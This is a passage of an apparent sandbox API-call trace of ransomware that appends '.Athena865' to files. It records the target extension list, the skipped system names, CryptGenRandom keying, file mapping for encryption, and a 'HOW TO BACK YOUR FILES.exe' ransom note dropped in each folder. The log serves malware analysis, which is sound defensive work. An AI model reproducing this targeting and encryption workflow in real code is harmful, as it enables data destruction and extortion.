[0061.348] lstrlenW (lpString="odb") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0061.348] lstrlenW (lpString="oqy") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0061.349] lstrlenW (lpString="ora") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0061.349] lstrlenW (lpString="orx") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0061.349] lstrlenW (lpString="owc") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0061.349] lstrlenW (lpString="p96") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0061.349] lstrlenW (lpString="p97") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0061.349] lstrlenW (lpString="pan") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0061.349] lstrlenW (lpString="pdb") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0061.349] lstrlenW (lpString="pdm") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0061.349] lstrlenW (lpString="pnz") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0061.349] lstrlenW (lpString="qry") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0061.349] lstrlenW (lpString="qvd") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0061.349] lstrlenW (lpString="rbf") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0061.349] lstrlenW (lpString="rctd") returned 4 [0061.349] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0061.349] lstrlenW (lpString="rod") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0061.349] lstrlenW (lpString="rodx") returned 4 [0061.349] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0061.349] lstrlenW (lpString="rpd") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0061.349] lstrlenW (lpString="rsd") returned 3 [0061.349] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0061.349] lstrlenW (lpString="sas7bdat") returned 8 [0061.350] lstrcmpiW (lpString1="etup.exe", lpString2="sas7bdat") returned -1 [0061.350] lstrlenW (lpString="sbf") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0061.350] lstrlenW (lpString="scx") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0061.350] lstrlenW (lpString="sdb") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0061.350] lstrlenW (lpString="sdc") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0061.350] lstrlenW (lpString="sdf") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0061.350] lstrlenW (lpString="sis") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0061.350] lstrlenW (lpString="spq") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0061.350] lstrlenW (lpString="te") returned 2 [0061.350] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0061.350] lstrlenW (lpString="teacher") returned 7 [0061.350] lstrcmpiW (lpString1="tup.exe", lpString2="teacher") returned 1 [0061.350] lstrlenW (lpString="tmd") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0061.350] lstrlenW (lpString="tps") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0061.350] lstrlenW (lpString="trc") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0061.350] lstrlenW (lpString="trc") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0061.350] lstrlenW (lpString="trm") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0061.350] lstrlenW (lpString="udb") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0061.350] lstrlenW (lpString="udl") returned 3 [0061.350] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0061.350] lstrlenW (lpString="usr") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0061.351] lstrlenW (lpString="v12") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0061.351] lstrlenW (lpString="vis") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0061.351] lstrlenW (lpString="vpd") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0061.351] lstrlenW (lpString="vvv") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0061.351] lstrlenW (lpString="wdb") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0061.351] lstrlenW (lpString="wmdb") returned 4 [0061.351] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0061.351] lstrlenW (lpString="wrk") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0061.351] lstrlenW (lpString="xdb") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0061.351] lstrlenW (lpString="xld") returned 3 [0061.351] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0061.351] lstrlenW (lpString="xmlff") returned 5 [0061.351] lstrcmpiW (lpString1="p.exe", lpString2="xmlff") returned -1 [0061.351] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865") returned 82 [0061.351] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.athena865"), dwFlags=0x1) returned 1 [0061.352] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.352] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1377656) returned 1 [0061.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0061.353] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0061.353] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.353] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.353] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x150880, lpName=0x0) returned 0x17c [0061.396] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x150880) returned 0x2d50000 [0061.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0061.456] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.456] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.457] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0061.469] CloseHandle (hObject=0x17c) returned 1 [0061.469] CloseHandle (hObject=0x154) returned 1 [0061.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0061.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.474] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0061.475] lstrlenW (lpString="Setup.xml") returned 9 [0061.475] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0061.475] lstrlenW (lpString="Setup.xml") returned 9 [0061.475] lstrlenW (lpString="Athena865") returned 9 [0061.475] lstrlenW (lpString=".dll") returned 4 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0061.475] lstrlenW (lpString=".lnk") returned 4 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0061.475] lstrlenW (lpString=".ini") returned 4 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0061.475] lstrlenW (lpString=".sys") returned 4 [0061.475] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0061.475] lstrlenW (lpString="Setup.xml") returned 9 [0061.475] lstrlenW (lpString="bak") returned 3 [0061.475] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0061.475] lstrlenW (lpString="ba_") returned 3 [0061.475] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0061.475] lstrlenW (lpString="dbb") returned 3 [0061.475] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0061.476] lstrlenW (lpString="vmdk") returned 4 [0061.476] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0061.476] lstrlenW (lpString="rar") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0061.476] lstrlenW (lpString="zip") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0061.476] lstrlenW (lpString="tgz") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0061.476] lstrlenW (lpString="vbox") returned 4 [0061.476] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0061.476] lstrlenW (lpString="vdi") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0061.476] lstrlenW (lpString="vhd") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0061.476] lstrlenW (lpString="vhdx") returned 4 [0061.476] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0061.476] lstrlenW (lpString="avhd") returned 4 [0061.476] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0061.476] lstrlenW (lpString="db") returned 2 [0061.476] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0061.476] lstrlenW (lpString="db2") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0061.476] lstrlenW (lpString="db3") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0061.476] lstrlenW (lpString="dbf") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0061.476] lstrlenW (lpString="mdf") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0061.476] lstrlenW (lpString="mdb") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0061.476] lstrlenW (lpString="sql") returned 3 [0061.476] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0061.476] lstrlenW (lpString="sqlite") returned 6 [0061.476] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0061.477] lstrlenW (lpString="sqlite3") returned 7 [0061.477] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0061.477] lstrlenW (lpString="sqlitedb") returned 8 [0061.477] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0061.477] lstrlenW (lpString="xml") returned 3 [0061.477] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0061.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0061.477] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0061.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.478] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31094) returned 1 [0061.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0061.478] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0061.479] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.479] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.479] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c80, lpName=0x0) returned 0x17c [0061.480] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c80) returned 0x100000 [0061.489] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0061.490] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.490] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.490] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0061.491] CloseHandle (hObject=0x17c) returned 1 [0061.491] CloseHandle (hObject=0x154) returned 1 [0061.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0061.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.491] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0061.491] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0061.491] ReleaseMutex (hMutex=0xec) returned 1 [0061.491] CloseHandle (hObject=0xec) returned 1 [0061.491] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" [0061.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0061.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f670 | out: hHeap=0x4f0000) returned 1 [0061.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned 62 [0061.491] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\676D434B7E10F2168D800701980C8645") returned 0xec [0061.492] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0061.492] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" [0061.492] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0061.492] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0061.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0061.492] GetLastError () returned 0x0 [0061.492] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0061.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0061.492] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0061.493] CloseHandle (hObject=0xf4) returned 1 [0061.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0061.493] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0061.493] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3deee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0061.493] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0061.493] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0061.493] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.493] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3deee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.494] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0061.494] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0061.494] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.494] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd3deee0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0061.494] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0061.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="temp") returned -1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="pagefile.sys") returned -1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ids.txt") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="perflogs") returned -1 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSBuild") returned 1 [0061.494] lstrlenW (lpString="Office32WW.msi") returned 14 [0061.494] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi" [0061.494] lstrlenW (lpString="Office32WW.msi") returned 14 [0061.494] lstrlenW (lpString="Athena865") returned 9 [0061.494] lstrcmpiW (lpString1="e32WW.msi", lpString2="Athena865") returned 1 [0061.494] lstrlenW (lpString=".dll") returned 